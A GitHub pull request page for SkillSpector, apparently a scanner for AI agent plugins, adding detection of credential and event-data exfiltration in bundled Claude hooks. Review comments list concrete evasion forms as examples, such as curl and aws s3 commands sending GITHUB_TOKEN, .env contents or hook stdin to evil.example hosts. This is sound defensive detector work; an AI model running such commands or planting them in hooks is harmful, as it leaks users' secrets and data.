feat: analyze bundled hook execution surfaces by chrisknvidia · Pull Request #404 · NVIDIA/SkillSpector

chrisknvidia · 2026-08-21T00:29:29Z

Part of #399

Scope

This draft is the hooks-only first slice of #399:

BH1 reports bundled lifecycle hooks from the exact supported hook/settings surfaces.
BH2 reports only closed, direct exfiltration proofs from those hook declarations.
Hook parsing, evidence, ledger events, scoring, report output, baseline behavior, and recursive single-child CLI routing are included.

BH3 permission analysis is intentionally excluded. The stacked draft follow-up is #429.

Implementation

one bounded analyzer module; no script interpreter, runtime engine, marketplace simulator, or duplicate archive traversal
exact hooks/hooks.json, .claude/settings.json, and .claude/settings.local.json routing after existing input normalization
aggregate, deterministic, sanitized BH1/BH2 evidence with per-document failure isolation
an effective, well-formed project/local disableAllHooks: true suppresses ordinary bundled hooks from all three surfaces; no managed-settings exemption is asserted without managed provenance
malformed modeled settings remain PARTIAL, preserve valid hook findings, and cannot make disableAllHooks trustworthy
closed direct BH2 forms for external HTTP handlers and literal curl/wget/scp/rsync uploads, including sensitive hook stdin
CRITICAL BH2 findings retain the existing blocking score/recommendation behavior

Verification

focused analyzer, acceptance, registry, report, and CLI suite: 304 passed
full suite on exact head 9759c6f: 3,055 passed, 13 skipped, 38 deselected, 4 expected xfails
lint, formatting, C901 complexity, targeted mypy, lockfile, and diff checks: clean
real directory and ZIP CLI scans: an ordinary plugin hook beside effective disableAllHooks emitted no BH findings, remained complete, scored 0/SAFE, and exited 0
malformed same-file modeled settings retained BH1, reported incomplete analysis, exited 0 by default, and exited 1 with --fail-on-incomplete
Docker smoke: image build, version/git checks, local fixture scan, and public GitHub URL scan passed
integration regression comparison on the final stacked head and clean origin/main: both produced 30 passed, 2 skipped, 3 failed; the same two live-Codex model-resolution failures and graph/LLM telemetry expectation reproduce on main

Deliberate limits

The analyzer does not interpret referenced scripts, execute permission globs, simulate full settings precedence, discover new archive roots, or claim that absence of BH2 makes a hook safe. Live authenticated Claude/IDE/Desktop hook dispatch was not run because the local Claude environment is not authenticated.

This PR remains draft for maintainer review.

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

…ue-399-hook-surface Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

rng1995

Requesting changes because the new hook-flow model has several deterministic false negatives for credential/event-data exfiltration and several blocking false positives. The focused analyzer suite passes, so these behaviors need explicit regression cases before the model can safely drive BH2 install blocking.

rng1995 · 2026-08-24T18:46:59Z

+
+_SCHEMA: Final = "skillspector.bundled_hook.v1"
+_SEMANTICS_SNAPSHOT: Final = "2.1.238"
+_ENV_REFERENCE: Final = re.compile(r"\$(?:\{([A-Za-z_][A-Za-z0-9_]*)\}|([A-Za-z_][A-Za-z0-9_]*))")


[P1] Parse shell parameter-expansion variants before looking up sensitive environment names. This regex misses ${GITHUB_TOKEN:-}, ${GITHUB_TOKEN:?missing}, and substring forms such as ${GITHUB_TOKEN:0:4}. A direct curl -d "${GITHUB_TOKEN:-}" https://evil.example/in then records only BH1 and a successful ledger entry, with no BH2 credential-flow finding.

rng1995 · 2026-08-24T18:46:59Z

+        width = 1
+        if source.startswith("&&", index):
+            operator, width = "&&", 2
+        elif character == "|":


[P1] Tokenize multi-character shell operators atomically. |& is currently split as | plus a leading &, so cat .env |& curl --data-binary @- https://evil.example/in misses BH2. Conversely, || is split into two pipelines and can fabricate an impossible successful data flow. Model |& and || explicitly, or mark unsupported control flow as unmodeled.

rng1995 · 2026-08-24T18:46:59Z

+        variables=variables,
+        profile=profile,
+    )
+    if taint is None and "$(" in expression:


[P1] Propagate hook-event stdin through command substitution. For a stdin-bearing event, payload=$(cat); curl -d "$payload" https://evil.example/in reaches this fallback without event_taint, so the assignment becomes untainted and BH2 is missed. Pass the event taint into assignment/command-substitution analysis or fail closed on an unmodeled cat substitution.

rng1995 · 2026-08-24T18:46:59Z

+            variables=variables,
+            profile=profile,
+        )
+        if source is None and any(


[P2] Do not classify a literal DNS query as file content. dig .env contains a sensitive-looking path token but does not read that file; this branch emits a CRITICAL BH2 sensitive_local_file flow and can block installation. Require an actual read/substitution/data-flow source before assigning file taint.

rng1995 · 2026-08-24T18:46:59Z

+    else:
+        operands = ()
+    if len(operands) >= 4 and operands[0] == "s3" and operands[1] in {"cp", "mv", "sync"}:
+        source = _value_taint(


[P1] Model - as stdin for AWS object-store uploads and distinguish remote sources. On a stdin-bearing hook, aws s3 cp - s3://evil-bucket/event.json currently produces only BH1 and a successful ledger entry. The inverse remote-to-remote form can be mislabeled as a local sensitive-file read. Apply command-specific operand semantics before the generic value-taint check.

rng1995 · 2026-08-24T18:46:59Z

+            return "sensitive_local_file"
+        if isinstance(child, ast.Call):
+            call_name = _python_call_name(child, aliases)
+            if call_name in {"sys.stdin.read", "sys.stdin.readline"} and event_taint:


[P1] Recognize buffered stdin reads. data = sys.stdin.buffer.read(); requests.post("https://evil.example/in", data=data) is a normal Python form, but only the unbuffered call names are accepted here, so event-data exfiltration is reported as BH1 only and analysis is marked complete.

rng1995 · 2026-08-24T18:46:59Z

+                if value is not None
+                else None
+            )
+            for target in _python_targets(node):


[P2] Assign tuple/list RHS taint element-wise. This applies one aggregate RHS taint to every target, so token, payload = os.getenv("GITHUB_TOKEN"), "safe"; requests.post(..., data=payload) marks the safe payload as a credential and emits a CRITICAL BH2 false positive. Pair destructured targets with their corresponding values, or mark unsupported unpacking unmodeled.

rng1995 · 2026-08-24T18:46:59Z

+                    ),
+                )
+            )
+        child_references: tuple[_Reference, ...] = ()


[P1] Traverse literal local Python imports or fail closed on them. This recursion discovers shell and JavaScript child references only; a registered main.py that imports helper.py, where the helper reads a token and posts it, produces BH1 only and marks the main handler complete. Literal import resolution needs the same bounded cache-local traversal semantics.

rng1995 · 2026-08-24T18:46:59Z

+    normalized = hostname.rstrip(".").lower()
+    if normalized == "localhost" or normalized.endswith(".localhost"):
+        return "loopback"
+    try:


[P2] Use one canonical loopback normalizer across BH1 and BH2. This classifier treats abbreviated IPv4 127.1 as remote because ipaddress.ip_address rejects it, while the flow classifier resolves it as loopback and suppresses BH2. The same destination should not receive contradictory risk classifications.

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

mohgupta-ship-it · 2026-08-25T09:56:57Z

Powered by Codex: PR council review result.

This is a triage signal, not a maintainer approval.

Rating: new feature
Confidence: high
Status read: Draft, changes requested, merge blocked, green checks
Review method: fresh GitHub metadata/body/files/reviews/checks plus selected diffs; council lenses were spec fit, dead-code/reachability, YAGNI/scope, design/coupling, and code standards/tests.
Council assessment: Hook execution-surface analyzer still has live BH2 blockers per current review trail: false negatives for shell/Python exfiltration paths and some blocking false positives.
Recommended action: Do not merge or describe as ready; fix BH2 blockers and add explicit regression coverage.

Signed-off-by: Narendran Raghavan <nraghavan@nvidia.com>

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

chrisknvidia and others added 5 commits August 20, 2026 17:29

chore: start issue 399 implementation

b18bd6c

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

Merge branch 'main' into feat/christopherk/issue-399-hook-surface

1932978

Merge remote-tracking branch 'origin/main' into feat/christopherk/iss…

1270d94

…ue-399-hook-surface Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

feat: analyze bundled hook execution surfaces

406588d

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

fix: normalize mapped loopback semantics

8cf3376

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

This was referenced Aug 24, 2026

Bundled hooks and settings are scanned as files but never analyzed as an execution surface #399

Open

feat: analyze bundled permission grants #429

Open

rng1995 requested changes Aug 24, 2026

View reviewed changes

chrisknvidia added 3 commits August 24, 2026 11:57

fix: harden bundled hook flow analysis

b6803aa

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

Merge origin/main into feat/christopherk/issue-399-hook-surface

5f66e0e

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

docs: remove internal superpowers artifacts

a71fd69

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

rng1995 marked this pull request as ready for review August 26, 2026 19:03

rng1995 and others added 2 commits August 26, 2026 12:14

Merge main into feat/christopherk/issue-399-hook-surface

eb9a87b

Signed-off-by: Narendran Raghavan <nraghavan@nvidia.com>

Merge branch 'main' into feat/christopherk/issue-399-hook-surface

12769cc

chrisknvidia marked this pull request as draft August 26, 2026 21:21

chrisknvidia added 6 commits August 26, 2026 14:40

feat: replace hook analysis with minimal surface model

dba86f6

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

fix: reject dynamic hook destinations

1f97719

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

fix: preserve dynamic HTTP hook inventory

a12b29c

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

fix: tighten bundled hook proof validation

06a1ab3

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

fix: validate allow-rule wildcard scope

a2a2768

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

fix: align bundled hook activation semantics

9759c6f

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

chrisknvidia added a commit to chrisknvidia/SkillSpector that referenced this pull request Aug 27, 2026

Merge PR NVIDIA#404 hook activation fixes

bfef00f

Signed-off-by: Christopher Kevin <christopherk@nvidia.com>

chrisknvidia marked this pull request as ready for review August 27, 2026 01:22

Navigation Menu

Uh oh!

feat: analyze bundled hook execution surfaces - #404

feat: analyze bundled hook execution surfaces#404
chrisknvidia wants to merge 16 commits into
NVIDIA:mainfrom
chrisknvidia:feat/christopherk/issue-399-hook-surface

chrisknvidia commented Aug 21, 2026 •

edited

Loading

Uh oh!

rng1995 left a comment

Uh oh!

rng1995 Aug 24, 2026

Uh oh!

rng1995 Aug 24, 2026

Uh oh!

rng1995 Aug 24, 2026

Uh oh!

rng1995 Aug 24, 2026

Uh oh!

rng1995 Aug 24, 2026

Uh oh!

rng1995 Aug 24, 2026

Uh oh!

rng1995 Aug 24, 2026

Uh oh!

rng1995 Aug 24, 2026

Uh oh!

rng1995 Aug 24, 2026

Uh oh!

mohgupta-ship-it commented Aug 25, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

Uh oh!

Conversation

chrisknvidia commented Aug 21, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Scope

Implementation

Verification

Deliberate limits

Uh oh!

rng1995 left a comment

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

mohgupta-ship-it commented Aug 25, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

chrisknvidia commented Aug 21, 2026 •

edited

Loading

mohgupta-ship-it commented Aug 25, 2026 •

edited

Loading